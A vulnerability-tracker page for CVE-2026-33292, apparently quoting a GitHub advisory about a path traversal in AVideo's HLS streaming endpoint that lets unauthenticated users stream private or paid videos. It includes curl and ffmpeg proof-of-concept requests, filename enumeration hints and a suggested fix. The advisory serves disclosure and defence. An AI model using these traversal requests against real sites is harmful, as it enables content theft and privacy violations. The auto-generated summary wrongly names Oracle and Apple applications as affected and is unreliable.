CVE-2026-33292

HIGH
2026-03-19 https://github.com/WWBN/AVideo GHSA-pw4v-x838-w5pg
7.5
CVSS 3.1
Share

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

2
Analysis Generated
Mar 19, 2026 - 17:00 vuln.today
CVE Published
Mar 19, 2026 - 16:43 nvd
HIGH 7.5

Description

## Summary The HLS streaming endpoint (`view/hls.php`) is vulnerable to a path traversal attack that allows an unauthenticated attacker to stream any private or paid video on the platform. The `videoDirectory` GET parameter is used in two divergent code paths - one for authorization (which truncates at the first `/` segment) and one for file access (which preserves `..` traversal sequences) - creating a split-oracle condition where authorization is checked against one video while content is served from another. ## Details The vulnerability is a split-oracle between the authorization lookup and the filesystem path construction. When `hls.php` receives a request, it processes `$_GET['videoDirectory']` through two independent functions that interpret the input differently. **Step 1 - Authorization lookup truncates at first path segment** (`objects/video.php:1685-1688`): ```php public static function getVideoFromFileName($fileName, $ignoreGroup = false, $ignoreTags = false) { // ... $parts = explode("/", $fileName); if (!empty($parts[0])) { $fileName = $parts[0]; // Only takes first segment } $fileName = self::getCleanFilenameFromFile($fileName); // ... $sql = "SELECT id FROM videos WHERE filename = ? LIMIT 1"; $res = sqlDAL::readSql($sql, "s", [$fileName]); ``` For input `public_video/../private_video`, `explode("/", ...)` yields `["public_video", "..", "private_video"]` and only `public_video` is used for the DB query. The authorization check at `hls.php:73` then runs against this public video: ```php if (isAVideoUserAgent() || ... || User::canWatchVideo($video['id']) || ...) { ``` **Step 2 - File path construction preserves the traversal** (`objects/video.php:4622-4638`): ```php public static function getPathToFile($videoFilename, $createDir = false) { $videosDir = self::getStoragePath(); $videoFilename = str_replace($videosDir, '', $videoFilename); $paths = Video::getPaths($videoFilename, $createDir); if (preg_match('/index(_offline)?.(m3u8|mp4|mp3)$/', $videoFilename)) { $paths['path'] = rtrim($paths['path'], DIRECTORY_SEPARATOR); $paths['path'] = rtrim($paths['path'], '/'); $videoFilename = str_replace($paths['relative'], '', $videoFilename); $videoFilename = str_replace($paths['filename'], '', $videoFilename); } $newPath = addLastSlash($paths['path']) . "{$videoFilename}"; $newPath = str_replace('//', '/', $newPath); return $newPath; } ``` `getPaths` extracts the clean filename (e.g., `public_video`) to build the base path `/videos/public_video/`. Then `str_replace($paths['filename'], '', $videoFilename)` replaces only the clean name from the full input, leaving the traversal intact: `/../private_video/index.m3u8`. The concatenation at line 4634 produces `/videos/public_video/../private_video/index.m3u8`, which the OS resolves to `/videos/private_video/index.m3u8`. **No mitigations exist in the path:** - `fixPath()` (`objects/functionsFile.php:1116`) only normalizes slashes, does not filter `..` - No `realpath()` call anywhere in the chain - No `..` filtering on the `videoDirectory` parameter - The traversal is in a query parameter, not the URL path, so web server path normalization does not apply ## PoC **Prerequisites:** An AVideo instance with at least one public video (filename: `public_video`) and one private/paid video (filename: `private_video`). **Step 1 - Confirm the private video is inaccessible directly:** ```bash curl -s "https://target.com/view/hls.php?videoDirectory=private_video" \ | head -5 # Expected: "HLS.php Can not see video [ID] (private_video) cannot watch (ID)" ``` **Step 2 - Exploit the split-oracle to stream the private video:** ```bash curl -s "https://target.com/view/hls.php?videoDirectory=public_video/../private_video" \ -H "Accept: application/vnd.apple.mpegurl" # Expected: Valid M3U8 playlist containing private_video's HLS segments ``` **Step 3 - Stream the private video content using the returned playlist:** ```bash # The M3U8 response contains segment URLs; use ffmpeg or any HLS player: ffmpeg -i "https://target.com/view/hls.php?videoDirectory=public_video/../private_video" \ -c copy stolen_video.mp4 ``` The authorization check passes because it resolves `public_video` (the public video), while the file system serves `private_video`'s HLS stream. ## Impact - **Any unauthenticated user** can stream any private, unlisted, or paid video on the platform by knowing or guessing its filename directory. - **Paid content bypass:** Monetized videos protected by pay-per-view or subscription gates can be streamed for free. - **Privacy violation:** Videos marked as private or restricted to specific user groups are fully accessible. - **Content theft at scale:** Video filenames follow predictable patterns (e.g., `video_YYYYMMDD_XXXXX`), enabling enumeration. An attacker only needs one publicly accessible video to pivot to any other video on the instance. - This affects all AVideo instances with at least one public video, which is the default configuration for any content platform. ## Recommended Fix Sanitize the `videoDirectory` parameter to reject path traversal sequences before any processing occurs. Apply this fix at the top of `view/hls.php`: ```php // view/hls.php - after line 16, before line 17 if (empty($_GET['videoDirectory'])) { forbiddenPage("No directory set"); } // ADD: Reject path traversal attempts $_GET['videoDirectory'] = str_replace('\\', '/', $_GET['videoDirectory']); if (preg_match('/\.\./', $_GET['videoDirectory'])) { forbiddenPage("Invalid directory"); } // Normalize: strip leading/trailing slashes, collapse multiples $_GET['videoDirectory'] = trim($_GET['videoDirectory'], '/'); $_GET['videoDirectory'] = preg_replace('#/+#', '/', $_GET['videoDirectory']); ``` Additionally, add a `realpath()` check in `getPathToFile` as defense-in-depth (`objects/video.php:4636`): ```php $newPath = str_replace('//', '/', $newPath); // ADD: Verify resolved path stays within videos directory $realPath = realpath($newPath); $realVideosDir = realpath($videosDir); if ($realPath === false || strpos($realPath, $realVideosDir) !== 0) { return false; } return $newPath; ```

Analysis

Unauthenticated attackers can stream any private or paid video in PHP, Oracle, and Apple applications through a path traversal vulnerability in the HLS streaming endpoint. The flaw exploits a split-oracle condition where authorization validation and file access use different parsing logic on the videoDirectory parameter, allowing attackers to bypass authentication checks while accessing unauthorized content. …

Sign in for full analysis, threat intelligence, and remediation guidance.

Remediation

Within 24 hours: disable the HLS streaming endpoint (`view/hls.php`) or restrict access to authenticated users only via WAF/reverse proxy rules; notify customers of the vulnerability. Within 7 days: implement input validation to reject path traversal sequences (`..`) in the videoDirectory parameter and implement strict allowlist validation for video identifiers. …

Sign in for detailed remediation steps.

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: +0.0
CVSS: +38
POC: 0

Share

CVE-2026-33292 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy